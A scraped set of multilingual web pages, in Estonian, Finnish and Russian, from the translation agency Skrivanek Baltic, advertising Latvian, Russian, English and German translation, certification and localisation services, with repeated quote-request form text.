usaldusväärsete ja professionaalsete läti keelele suunatud tõlketeenuste jaoks, mis vastavad teie ärivajadustele. Vajate professionaalset kirjalikku tõlget läti keelest inglise keelde? Valige Skrivanek Baltic tõlgeteks 100+ keelde. Hinnapakkumised ja kvaliteetsed tulemused otse veebis. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada KIRJALIK TÕLGE LÄTI KEELDE | LÄTI KEELELE SUUNATUD TÕLKETEENUSED Kui vajate kvaliteetseid läti keelele suunatud tõlketeenuseid, olete õiges kohas. Skrivanek Baltic on siin, et teid aidata. Oleme kvalifitseeritud tõlkijate meeskond, kes on spetsialiseerunud läti-inglise ja inglise-läti tõlgetele. Omame kogemusi eri valdkondades, sealhulgas tööstus-, tehnika-, meditsiini- ja õigussektorites. Olenemata sellest, kas vajate tavalist või sertifitseeritud tõlget, meie pakume mõlemat. Meie teenused hõlmavad mitmesuguseid dokumente, nagu ettevõtete lepingud, arved, kataloogid, reklaamlaused, aruanded, ärikirjavahetus, aktid, volikirjad, vormid ja konfidentsiaalsed materjalid. Lisaks sellele, et meie tõlkijad garanteerivad keelelise täpsuse, tagavad nad ka selle, et tõlgitud tekst sobib sihtrühmale ja on kultuuriliselt asjakohane. Meie kliendid usaldavad meid, sest teavad, et pakume kvaliteetseid tõlkeid vastavalt nende konkreetsetele ärivajadustele. 10 PÕHJUST, MIKS VALIDA SKRIVANEK BALTIC, KUI VAJATE TÕLKEID LÄTI-INGLISE VÕI INGLISE-LÄTI KEELESUUNDADEL Range andmeturve. Kõik tõlked valmivad ELi liikmesriikides, tagades teie andmete konfidentsiaalsuse. Toetame üle 100 failivormingu. Et me tuleme toime erinevate failivormingutega, sealhulgas PDF, JPG, IDML, JSON ja HTML, ei ole teil vaja oma dokumente konverteerida. Tõlgime enam kui 100 keelde. Meie laiaulatuslikud tõlketeenused hõlmavad rohkem kui 100 keelt, mis tähendab, et te ei pea oma projektide jaoks otsima mitut tõlkebürood. Lai valik keeleteenuseid. Meie tõlkebüroos pakutakse väga erinevaid keeleteenuseid alates dokumentide tõlkimisest kuni filmide subtiitriteni või veebilehtede või rakenduste lokaliseerimisteenusteni. Kiire ja lihtne hinnapakkumine veebis. Unustage tundidepikkune pakkumise ootamine. Teeme teile hinnapakkumise vaid 30 minutiga. Üleandmine veebis. Saadame tõlgitud dokumendid teile e-posti teel, sh kvalifitseeritud digiallkirjadega varustatud sertifitseeritud tõlked. Traditsioonilised paberkandjal tõlked võime saata teile tagasi posti või kulleriga. Mugav kliendiportaal. Jälgige kõike ühest kohast ja olge oma projekti edenemisega kursis, kasutades meie kasutajasõbralikku kliendiportaali. Kvaliteedi tagamine. Võite olla kindel, et meie tõlked vastavad kõrgeimatele standarditele. Meile on omistatud on standarditele ISO 9001 ja 17100 vastavad sertifikaadid, mis tõendavad meie pühendumust kvaliteedile ja täpsusele. Asjatundlik tõlkijate meeskond. Skrivanek Baltic pakub läti-inglise ja inglise-läti tõlgetele spetsialiseerunud kõrgelt kvalifitseeritud ja kogenud tõlkijate meeskonda, kelle emakeel on läti keel. Nad tunnevad põhjalikult nii keeli kui ka kultuurilisi nüansse, tagades täpse ja kultuuriliselt asjakohase tõlke. Igal projektil on oma projektijuht. Skrivanek Baltic määrab igale tõlkeprojektile ühe projektijuhi. Ta vastutab kogu tõlkeprotsessi jälgimise eest, tagab õigeaegse üleandmise ja tegeleb kõigi küsimuste või muredega, mis teil kogu projekti jooksul võivad tekkida. Tema pädevus ja tähelepanu detailidele tagavad sujuva tõlkekogemuse. Valige Skrivanek Baltic usaldusväärsete ja professionaalsete läti keelele suunatud tõlketeenuste jaoks, mis vastavad teie ärivajadustele. Vajate professionaalset kirjalikku tõlget läti keelest inglise keelde? Valige Skrivanek Baltic tõlgeteks 100+ keelde. Hinnapakkumised ja kvaliteetsed tulemused otse veebis. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada KUIDAS MEIE LÄTI KEELELE SUUNATUD TÕLKETEENUS TOIMIB --- > Etsitkö ammattitaitoista käännöstä latviasta englantiin? Valitse Skrivanek Baltic saadaksesi käännöksiä 100+ kielellä. - Published: 2024-06-07 - Modified: 2024-08-22 - URL: https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/ - Translation Priorities: Optional KÄÄNNÄ LATVIAKSI | LATVIAN KÄÄNNÖSPALVELUT Jos tarvitset laadukkaita latvian käännöspalveluita, älä etsi enempää. Skrivanek Baltic on täällä auttaakseen. Olemme joukko ammattitaitoisia kääntäjiä, jotka ovat erikoistuneet latvia-englanti ja englanti-latvia käännöksiin. Asiantuntemuksemme kattaa useita eri toimialoja, mukaan lukien teollisuuden, tekniikan, lääketieteen ja lakialan. Tarvitsetpa vakiokäännöstä tai virallista käännöstä, voimme tehdä molemmat. Palvelumme kattavat laajan valikoiman asiakirjoja, kuten yrityssopimuksia, laskuja, luetteloita, mainoslauseita, raportteja, liikekirjeenvaihtoa, asiakirjoja, valtakirjoja, lomakkeita ja luottamuksellista materiaalia. Kääntäjämme eivät ainoastaan takaa kielen termien tarkkuutta, vaan varmistavat myös, että käännetty teksti sopii tarkoitukseensa ja on kulttuurisesti sopiva kohdeyleisölle. Asiakkaamme luottavat meidän tarjoavan korkealaatuisia käännöksiä, jotka vastaavat heidän liiketoimintansa tarpeisiin. 10 SYYTÄ VALITA SKRIVANEK BALTIC LATVIA-ENGLANTI TAI ENGLANTI-LATVIA KÄÄNNÖKSIIN Tiukka tietoturva: Kaikki käännökset tehdään EU:n jäsenvaltioissa, mikä takaa tietojesi luottamuksellisuuden. Tuki yli 100 tiedostomuodolle: Voimme käsitellä erilaisia tiedostomuotoja, mukaan lukien PDF, JPG, IDML, JSON ja HTML, joten sinun ei tarvitse muuntaa asiakirjojasi. Saatavilla yli 100 kielellä: Laajat käännöspalvelumme kattavat yli 100 kieltä, joten sinun ei tarvitse etsiä useita toimistoja hoitamaan projektejasi. Laaja valikoima kielipalveluita: Käännöstoimistomme tarjoaa laajan valikoiman monipuolisia kielipalveluita asiakirjakäännöksistä elokuvien tekstityksiin tai verkkosivujen tai sovellusten lokalisointipalveluihin. Nopeat ja helpot online-tarjoukset: Sano hyvästit tarjouksen odottamiselle. Voimme tehdä sinulle tarjouksen 30 minuutin kuluessa. Online-toimitus: Saat käännetyt asiakirjasi sähköpostitse, mukaan lukien viralliset käännökset hyväksytyillä sähköisillä allekirjoituksilla. Voimme lähettää perinteiset paperikäännökset takaisin sinulle postitse tai kuriirin välityksellä. Kätevä asiakasportaali: Seuraa kaikkea yhdessä paikassa ja pysy ajan tasalla projektisi edistymisestä käyttäjäystävällisen asiakasportaalimme kautta. Laadunvarmistus: Voit olla varma, että käännöksemme täyttävät korkeimmat standardit. Meillä on ISO 9001- ja 17100-sertifikaatit, mikä osoittaa sitoutumisemme laatuun ja tarkkuuteen. Kääntäjien asiantuntijatiimi: Skrivanek Balticilla on erittäin ammattitaitoisia ja kokeneita latvia-englanti ja englanti-latvia käännöksiin erikoistuneita kääntäjiä, jotka puhuvat latviaa äidinkielenään. He ymmärtävät erittäin hyvin molempia kieliä ja kulttuurisia vivahteita, mikä varmistaa tarkat ja kulttuurisesti asianmukaiset käännökset. Omistautuneet projektipäälliköt: Skrivanek Baltic nimeää jokaiseen käännösprojektiin omistautuneen projektipäällikön. He ovat vastuussa koko käännösprosessin valvonnasta, oikea-aikaisen toimituksen varmistamisesta ja vastaavat mahdollisiin kysymyksiin ja huolenaiheisiin projektin aikana. Heidän asiantuntemuksensa ja yksityiskohtien huomioimisensa takaa sujuvan käännöskokemuksen. Valitse Skrivanek Baltic, jos haluat luotettavia ja ammattitaitoisia latvian käännöspalveluita, jotka vastaavat yrityksesi tarpeisiin. Etsitkö ammattitaitoista käännöstä latviasta englantiin? Valitse Skrivanek Baltic saadaksesi käännöksiä 100+ kielellä. Hanki online-tarjouksia ja laadukkaita lopputuloksia. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada KÄÄNNÄ LATVIAKSI | LATVIAN KÄÄNNÖSPALVELUT Jos tarvitset laadukkaita latvian käännöspalveluita, älä etsi enempää. Skrivanek Baltic on täällä auttaakseen. Olemme joukko ammattitaitoisia kääntäjiä, jotka ovat erikoistuneet latvia-englanti ja englanti-latvia käännöksiin. Asiantuntemuksemme kattaa useita eri toimialoja, mukaan lukien teollisuuden, tekniikan, lääketieteen ja lakialan. Tarvitsetpa vakiokäännöstä tai virallista käännöstä, voimme tehdä molemmat. Palvelumme kattavat laajan valikoiman asiakirjoja, kuten yrityssopimuksia, laskuja, luetteloita, mainoslauseita, raportteja, liikekirjeenvaihtoa, asiakirjoja, valtakirjoja, lomakkeita ja luottamuksellista materiaalia. Kääntäjämme eivät ainoastaan takaa kielen termien tarkkuutta, vaan varmistavat myös, että käännetty teksti sopii tarkoitukseensa ja on kulttuurisesti sopiva kohdeyleisölle. Asiakkaamme luottavat meidän tarjoavan korkealaatuisia käännöksiä, jotka vastaavat heidän liiketoimintansa tarpeisiin. 10 SYYTÄ VALITA SKRIVANEK BALTIC LATVIA-ENGLANTI TAI ENGLANTI-LATVIA KÄÄNNÖKSIIN Tiukka tietoturva: Kaikki käännökset tehdään EU:n jäsenvaltioissa, mikä takaa tietojesi luottamuksellisuuden. Tuki yli 100 tiedostomuodolle: Voimme käsitellä erilaisia tiedostomuotoja, mukaan lukien PDF, JPG, IDML, JSON ja HTML, joten sinun ei tarvitse muuntaa asiakirjojasi. Saatavilla yli 100 kielellä: Laajat käännöspalvelumme kattavat yli 100 kieltä, joten sinun ei tarvitse etsiä useita toimistoja hoitamaan projektejasi. Laaja valikoima kielipalveluita: Käännöstoimistomme tarjoaa laajan valikoiman monipuolisia kielipalveluita asiakirjakäännöksistä elokuvien tekstityksiin tai verkkosivujen tai sovellusten lokalisointipalveluihin. Nopeat ja helpot online-tarjoukset: Sano hyvästit tarjouksen odottamiselle. Voimme tehdä sinulle tarjouksen 30 minuutin kuluessa. Online-toimitus: Saat käännetyt asiakirjasi sähköpostitse, mukaan lukien viralliset käännökset hyväksytyillä sähköisillä allekirjoituksilla. Voimme lähettää perinteiset paperikäännökset takaisin sinulle postitse tai kuriirin välityksellä. Kätevä asiakasportaali: Seuraa kaikkea yhdessä paikassa ja pysy ajan tasalla projektisi edistymisestä käyttäjäystävällisen asiakasportaalimme kautta. Laadunvarmistus: Voit olla varma, että käännöksemme täyttävät korkeimmat standardit. Meillä on ISO 9001- ja 17100-sertifikaatit, mikä osoittaa sitoutumisemme laatuun ja tarkkuuteen. Kääntäjien asiantuntijatiimi: Skrivanek Balticilla on erittäin ammattitaitoisia ja kokeneita latvia-englanti ja englanti-latvia käännöksiin erikoistuneita kääntäjiä, jotka puhuvat latviaa äidinkielenään. He ymmärtävät erittäin hyvin molempia kieliä ja kulttuurisia vivahteita, mikä varmistaa tarkat ja kulttuurisesti asianmukaiset käännökset. Omistautuneet projektipäälliköt: Skrivanek Baltic nimeää jokaiseen käännösprojektiin omistautuneen projektipäällikön. He ovat vastuussa koko käännösprosessin valvonnasta, oikea-aikaisen toimituksen varmistamisesta ja vastaavat mahdollisiin kysymyksiin ja huolenaiheisiin projektin aikana. Heidän asiantuntemuksensa ja yksityiskohtien huomioimisensa takaa sujuvan käännöskokemuksen. Valitse Skrivanek Baltic, jos haluat luotettavia ja ammattitaitoisia latvian käännöspalveluita, jotka vastaavat yrityksesi tarpeisiin. Etsitkö ammattitaitoista käännöstä latviasta englantiin? Valitse Skrivanek Baltic saadaksesi käännöksiä 100+ kielellä. Hanki online-tarjouksia ja laadukkaita lopputuloksia. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada MITEN LATVIAN KÄÄNNÖSPALVELUMME TOIMII --- > Skrivanekin kokeneet kääntäjät tarjoavat ammattitaitoisia käännöspalveluita teksteille venäjäksi ja venäjästä englantiin sekä yrityksille että yksityishenkilöille. - Published: 2024-06-07 - Modified: 2024-08-22 - URL: https://skrivanek.lv/fi/kaannospalvelut-venajasta-englantiin/ - Translation Priorities: Optional AMMATTITAITOISET VENÄJÄ-ENGLANTI JA ENGLANTI-VENÄJÄ KÄÄNNÖSPALVELUT YRITYKSILLE JA YKSITYISHENKILÖILLE | KÄÄNNÄ VENÄJÄKSI | VENÄJÄN KÄÄNNÖSPALVELUT Skrivanek Baltic tarjoaa ammattitaitoisia käännöspalveluita teksteille venäjäksi ja venäjästä englantiin. Tiimimme koostuu kokeneista venäjän kielen kääntäjistä, jotka ovat erikoistuneet eri aloille, joten voimme tarjota sekä vakiokäännöksiä että virallisia käännöksiä. Käännöspalvelumme palvelevat esimerkiksi teollisuuden, tekniikan, lääketieteen, lakialan ja monien muiden alojen yrityksiä Käännämme erilaisia asiakirjoja, kuten yrityssopimuksia, laskuja, luetteloita, mainoslauseita, raportteja, liikekirjeenvaihtoa, asiakirjoja, valtakirjoja, lomakkeita ja luottamuksellista materiaalia. Kääntäjämme eivät ainoastaan varmista kielellistä tarkkuutta, vaan he varmistavat myös, että teksti on tehokasta ja kulttuurisesti sopivaa kielen ja maan suhteen. Asiakkaamme luottavat meidän tarjoavan korkealaatuisia käännöspalveluita, jotka vastaavat heidän liiketoimintansa tarpeisiin. MIKSI VALITA SKRIVANEK BALTIC, KUN TARVITSET VENÄJÄ-ENGLANTI TAI ENGLANTI-VENÄJÄ KÄÄNNÖSTÄ? Skrivanek Baltic tarjoaa luotettavia ja ammattitaitoisia kielipalveluita, jotka auttavat sinua kääntämään venäjästä englantiin tai englannista venäjään. Vuosien kokemus, ammattitaitoisten lingvistien tiimi ja sitoutuminen asiakastyytyväisyyteen mahdollistavat ratkaisun kaikkiin käännöstarpeisiisi. MIKSI VALITA SKRIVANEK BALTIC: Tiukka tietoturva – kaikki käännökset tehdään EU:n jäsenvaltioissa. Tuki yli 100 tiedostomuodolle – olipa kyseessä PDF, JPG, IDML, JSON tai HTML, voimme käsitellä sen. Asiakirjojen muuntamisesta ei tarvitse huolehtia. Saatavilla yli 100 kielellä – Käännöspalvelumme ovat kattavia ja niitä hoitaa yksi yritys. Sinun ei tarvitse etsiä toista käännöstoimistoa hoitamaan projektiasi. Laaja valikoima kielipalveluita – Käännöstoimisto Skrivanek tarjoaa kaiken tarvitsemasi asiakirjakäännöksistä elokuvien tekstityksiin, verkkosivujen tai sovellusten lokalisointipalveluihin. Nopeat ja helpot online-tarjoukset – Sano hyvästit tarjouksen odottamiselle. Voimme tehdä sinulle tarjouksen 30 minuutin kuluessa. Valmista verkossa – Tilaa käännöspalvelu ja saat käännetyt asiakirjasi sähköpostitse, mukaan lukien viralliset käännökset hyväksytyillä sähköisillä allekirjoituksilla. Perinteiset paperikäännökset voimme lähettää takaisin sinulle postitse tai kuriirin välityksellä. Kätevä asiakasportaali – Seuraa kaikkea yhdessä paikassa ja pysy ajan tasalla projektisi edistymisestä. Laadunvarmistus – Oletko huolissasi käännöstemme laadusta? Älä ole. Meillä on ISO 9001- ja 17100-sertifikaatit, mikä todistaa sitoutumisemme laatuun ja tarkkuuteen. Pyydä ilmainen tarjous tai kysy lisätietoja! Skrivanek Balticin asiantuntijatiimi tarjoaa huippuluokan käännöksiä yrityksille ja yksityishenkilöille. Tarvitsetko apua tiettyyn projektiin? Ota yhteyttä jo tänään ja pyydä ilmainen tarjous tai kysy lisätietoja! Odotamme yhteistyötä kanssasi! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada MILLOIN IHMISEN KÄÄNTÄMÄ ASIAKIRJA VENÄJÄKSI ON PARAS VALINTASI? Tarkka ja perusteellinen käännös: Käännettäessä asiakirjoja venäjäksi, ihmiskääntäjät tarjoavat tarkan ja perusteellisen käännöksen. He ovat taitavia vangitsemaan lähdekielen oikean merkityksen, sävyn ja kulttuuriset vivahteet. Parannettu viestintä: Tarkan käännöksen avulla kaikki osapuolet voivat kommunikoida paremmin. Ihmiskääntäjät varmistavat, että jokainen ymmärtää asiakirjan, minimoivat väärinkäsitysten riskin ja parantavat yleistä viestintää. Mukautuu muutoksiin: Ihmisen tekemää käännöstä on helppo mukauttaa tarvittavin muutoksin. Jos on tehtävä korjauksia, ihmiskääntäjä voi helposti muokata tekstiä varmistaakseen, että se pysyy oikeana. Asiantuntemusta tietyiltä aloilta: Skrivanekin kääntäjillämme on erikoisosaamista eri toimialoilta ja he tuntevat näiden alojen erityisen teknisen kielen. Tämä mahdollistaa monimutkaisten asiakirjojen tarkat käännökset. Aito ja kulttuurisesti herkkä: Ihmisen tekemä käännös tarjoaa aitoja ja kulttuurisesti herkkiä käännöksiä. Äidinkielenään venäjää puhuvat kääntäjät tarjoavat arvokkaan kontekstin ja varmistavat, että tekstin sävy ja kulttuuriset viittaukset ovat asianmukaisia. MITEN VÄHENTÄÄ ASIAKIRJOJEN KÄÄNNÖSKUSTANNUKSIA VENÄJÄSTÄ/VENÄJÄKSI LAATUA UHRAAMATTA? Valitse luotettava käännöspalvelu: Yksi tapa alentaa asiakirjojen käännöskustannuksia venäjäksi tai venäjästä, on valita luotettava ja kokenut käännöspalvelu. He voivat tarjota sinulle kilpailukykyisen hinnoittelurakenteen ja varmistaa korkealaatuiset käännökset. Yksinkertaista lähdetekstiä: Mitä yksinkertaisempi lähdeteksti, sitä helpompi se on kääntää, mikä vähentää lingvistin tutkimuksen ja tarkastelun tarvetta. Yksinkertaistettu teksti tekee myös kääntämisestä helpompaa, nopeampaa ja tarkempaa, mikä vähentää tarvittavaa aikaa ja vaivaa. Tarjoa kontekstia ja tukimateriaaleja: Kontekstin ja tukimateriaalien, kuten sanastojen ja viitemateriaalien tarjoaminen voi vähentää käännöskustannuksia merkittävästi, koska kääntäjät voivat työskennellä nopeammin ja tarkemmin. Konteksti auttaa myös kääntäjiä ymmärtämään sanojen ja lauseiden nyansseja ja merkityksiä. Valitse oikea tiedostotyyppi: Oikean tiedostotyypin valinta voi myös auttaa hallitsemaan käännöskustannuksia. Suosi tekstitiedostoja, kuten . doc, . txt ja . rtf, koska niitä on helppo käyttää, kääntää ja tarkistaa. Terävä, selkä ja luettava teksti voi auttaa kääntäjiä työskentelemään tehokkaammin, mikä nopeuttaa yleistä käännösprosessia ja vähentää käännöskustannuksiasi. ONKO MAHDOLLISTA JÄRJESTÄÄ VIRALLINEN KÄÄNNÖS ENGLANNISTA VENÄJÄÄN VERKOSSA, TULEMATTA TOIMISTOON? Virallinen käännös englannista venäjään voidaan järjestää verkossa lähettämällä . edoc-tiedosto (sähköisesti allekirjoitettu asiakirja) Skrivanek Balticille. Auktorisoitu käännös lähetetään takaisin . edoc-muotoisena, kääntäjän allekirjoittamana ja valtuutetun notaarin sähköisellä allekirjoituksella vahvistamana. Tämä prosessi sopii eri instituutioiden, kuten tietokeskuksen, veroviraston tai yritysrekisterin myöntämille asiakirjoille. Pyydä tarjous: Ota yhteyttä Skrivanekiin ja pyydä tarjous virallisesta käännöstarpeestasi. Muista antaa kaikki tarvittavat tiedot, kuten asiakirjan tyyppi, sanojen määrä ja määräaika. Lähetä asiakirja: Sähköposti tai lataa asiakirja verkkosivullemme. Varmista, että annat selkeät ohjeet kaikista muotoiluvaatimuksista tai erityisistä näkökohdista. Tarkista ja hyväksy käännös: Kun käännös on valmis, lähetämme käännetyn asiakirjan tarkistettavaksi. Jos tarvitset korjauksia tai muutoksia, ilmoita meille. Vastaanota virallinen käännös: Viimeisen tarkistuksen ja hyväksynnän MITEN VENÄJÄN KÄÄNNÖSPALVELUMME TOIMII --- > Опытные переводчики Skrivanek Baltic предоставляют профессиональные услуги перевода текстов с/на русский с/на немецкий язык. - Published: 2024-05-28 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkojumi-no-krievu-valodas-vacu-valoda-no-vacu-valodas-krievu-valoda/ - Translation Priorities: Optional КАК РАБОТАЕТ НАША УСЛУГА ПЕРЕВОДА С РУССКОГО НА НЕМЕЦКИЙ | С НЕМЕЦКОГО НА РУССКИЙ ПОЧЕМУ НУЖНО ВЫБРАТЬ SKRIVANEK: Skrivanek – ведущая языковая компания в Центральной и Восточной Европе (ЦВЕ), предоставляющая высококачественные услуги по обучению иностранным языкам и переводу. Цель – не только обеспечить перевод с немецкого языка на русский и наоборот, но и отличный опыт обслуживания. Наши клиенты ценят нас именно за это. Вот на что вы можете рассчитывать, сотрудничая с нами: Строгое соблюдение безопасности данных – все переводы выполняются в странах-участницах ЕС. Поддержка более 110 форматов файлов – мы работаем с файлами PDF, JPG, IDML, JSON и HTML, избавляя вас от необходимости конвертировать документы. Доступность более чем 110 языков – мы предоставляем разносторонние услуги перевода в рамках одной компании. Вам не придется искать другие переводческие агентства для работы со своим проектом. Широкий выбор языковых услуг – от перевода документов до перевода субтитров к фильмам, а также локализация интернет-страниц и приложений – все это возможно в бюро переводов Skrivanek. Быстрое и простое получение ценового предложения онлайн – забудьте об утомительном ожидании предложений. Мы подготовим ценовое предложение для вас всего за 30 минут. Выполнение онлайн – закажите перевод и получите готовые документы по электронной почте, в том числе заверенные переводы с квалифицированными электронными подписями. Переведенные документы в традиционном (распечатанном) виде мы можем отправить вам почтой или курьером. Удобный клиентский портал – отслеживайте все процессы и следите за продвижением вашего проекта. Контроль качества – беспокоитесь о качестве переводов? Не стоит. Мы сертифицированы согласно ISO 9001 и 17100, что говорит о нашей приверженности качеству и точности в работе. ПЕРЕВОДИТЕ НА РУССКИЙ ЯЗЫК | УСЛУГИ ПЕРЕВОДА НА РУССКИЙ ЯЗЫК Skrivanek предоставляет услуги профессионального перевода текстов на русский и с русского на немецкий язык. Наша команда состоит из опытных переводчиков, работающих с русским языком и специализирующихся в самых разных областях, что позволяет нам выполнять как обычные, так и заверенные переводы. Наши услуги перевода востребованы у предприятий из различных отраслей экономики, включая такие специфические сектора, как промышленный, технический, медицинский, юридический и многие другие. Мы обеспечиваем перевод разнообразных документов, таких как корпоративные договоры, счета, каталоги, рекламные слоганы, отчеты, деловая переписка, акты, доверенности, бланки и другие конфиденциальные материалы. Наши переводчики обеспечивают не только лингвистическую точность текстов, но и их эффективность, а также их соответствие культурным особенностям целевой аудитории. Мы заслужили доверие клиентов, предоставляя качественные услуги перевода, отвечающие потребностям их предприятий. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98% клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов НАШИ РУССКО-НЕМЕЦКИЕ, НЕМЕЦКО-РУССКИЕ ПЕРЕВОДЧИКИ И ДРУГИЕ ЯЗЫКОВЫЕ СПЕЦИАЛИСТЫ – В ВАШЕМ РАСПОРЯЖЕНИИ! Команда опытных лингвистов Skrivanek предлагает услуги высококачественного перевода – как предприятиям, так и физическим лицам. Нужна помощь с конкретным проектом? Обратитесь к нам прямо сейчас за бесплатным ценовым предложением или дополнительной информацией. Будем рады возможности сотрудничать! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или закажите онлайн-консультацию, чтобы узнать больше об услугах перевода прямо сейчас! ПЕРЕВОД ВЕБ-САЙТА С РУССКОГО НА НЕМЕЦКИЙ | С НЕМЕЦКОГО НА РУССКИЙ Благодаря нашим услугами по переводу и локализации сайтов, данных и мультимедийных приложений, Вы сможете наладить контакты с деловыми партнерами по всему миру и сделать свои продукты доступными для пользователей не только в России, но и на всем мировом рынке. Наши переводчики могут перевести для Вас статические или динамические веб-сайты на HTML, SGML, XML, CGI, PHP, ASP или Flash, а также при необходимости адаптировать их содержание для местной культуры и специфики (включая, разумеется, поисковые запросы Google и кириллицу). НЕЙРОННЫЙ МАШИННЫЙ ПЕРЕВОД – SKRIVANEK NMT Вам нужно перевести очень большой текст в сжатые сроки? Не успеваете выполнить проект перевода в отведенный для этого срок? Предложенный срок выполнения перевода слишком долгий? У НАС ЕСТЬ РЕШЕНИЕ – SKRIVANEK NMT При разработке Skrivanek NMT использовался 25-летний опыт работы команды Skrivanek и накопленные знания в области перевода. Нейронный машинный переводчик работает по такому же принципу, что и нейроны головного мозга человека. Над разработкой инструмента Skrivanek NMT трудились не только лингвисты Skrivanek, но и академики и эксперты из различных отраслей. ТЕХНИЧЕСКИЕ ПЕРЕВОДЫ С РУССКОГО НА НЕМЕЦКИЙ | С НЕМЕЦКОГО НА РУССКИЙ Технический перевод – это специализированный вид перевода, который имеет свои особенности. В частности, он требует максимально точного изложения технологических решений и процессов на целевом языке, владения узкоспециализированными терминами и соответствующего стиля изложения. Перевод технической документации, в том числе руководств по эксплуатации оборудования и документации программного обеспечения, также требует идеального знания исходного 